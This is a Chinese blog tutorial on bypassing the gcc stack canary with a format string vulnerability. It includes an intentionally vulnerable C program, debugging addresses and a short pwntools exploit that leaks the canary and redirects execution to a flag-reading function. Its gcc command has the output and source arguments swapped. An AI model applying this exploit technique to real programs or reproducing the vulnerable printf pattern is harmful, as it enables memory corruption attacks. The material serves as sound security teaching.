通过格式化字符串漏洞绕过canary

1.1    canary内存保护机制

1.1.1    canary工作原理

canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示:

 

在函数初始化的时候回初始化一个随机的canary值置于缓冲区的末端,在函数返回之前会对canary的值进行验证,无误则正常返回。

 

1.1.2    通过格式化字符串漏洞绕过canary

⑴.原理分析:

因为通过格式化字符串漏洞可以实现任意内存的读写,而且,在一个程序里,不同函数在运行中使用的canary值是相同的,所以可以通过对格式化字符串漏洞的利用,将canary的值读出来,实现缓冲区溢出攻击后(控制RET地址),在函数退出验证前再将canary 的值填回栈中,通过验证实现函数的正常返回。

⑵.环境准备:

 i.存在格式化字符串漏洞的程序:                    

#include <stdio.h>

#include <unistd.h>

void getflag(void) {

    char flag[100];

    FILE *fp = fopen("./flag", "r");

    if (fp == NULL) {

        puts("get flag error");

    }

    fgets(flag, 100, fp);

    puts(flag);

}

void init() {

    setbuf(stdin, NULL);

    setbuf(stdout, NULL);

    setbuf(stderr, NULL);

}

void fun(void) {

         char buffer[100];

         read(STDIN_FILENO, buffer, 120);

}

int main(void) {

         char buffer[6];

         init();

         scanf("%6s",buffer);

         printf(buffer);

         fun();

}

 

ii.测试环境:

 测试平台linux debian 7

攻击脚本编写模块:pwntools。

辅助调试插件:gdb-peda

 iii. 编译命令:

gcc -m32 -g -z execstack -fstack-protector-all -o print_canary.c print_canary

 

⑶.调试分析:

 i. 查看保护机制:

                 

可以看到只有canary保护机制是成立的。

                  

ii.找到存在缓冲区溢出漏洞的函数的canary值地址:

可以看到位于canary的值位于[ebp-0xc]=0xffffd27c处,

 

 iii. 找到缓冲区起始地址:

 

参数arg[1]的值为缓冲区的起始地址:0xffffd218。

 

iv.确定返回地址指针:

 

返回地址位于:0xffffd28c。

 

 

⑷.攻击过程:

i.攻击思路:

我们的目的通过格式化字符串漏洞得到canary值,在实现缓冲区溢出攻击后控制fun函数的返回地址,执行getflag函数读取当前目录下的flag文件,在溢出的时候要将得到canary值准确的填入它原来的位置。

 

ii.得到getflag函数的地址:

 

Getflags函数地址为:0x5655572d。

 

iii.计算缓冲区大小;

由上面的调试分析可知:

缓冲区大小等于缓冲区结束的地址0xffffd27c - 0xffffd218 = 100(字节)。

 

iv.分析栈使用情况:

 

v.编写攻击脚本实现攻击:

from pwn import *

context.log_level = 'debug'

cn = process('./print_canary')

cn.sendline('%7$x')

canary = int(cn.recv(),16)

print hex(canary)

cn.send('a'*100 + p32(canary) + 'a'*12 + p32(0x5655572d))

flag = cn.recv()

log.success('flag is:' + flag)

 

攻击结果:

 

成功。

posted on 2018-05-30 14:59  zhang293  阅读(710)  评论(0编辑  收藏  举报

导航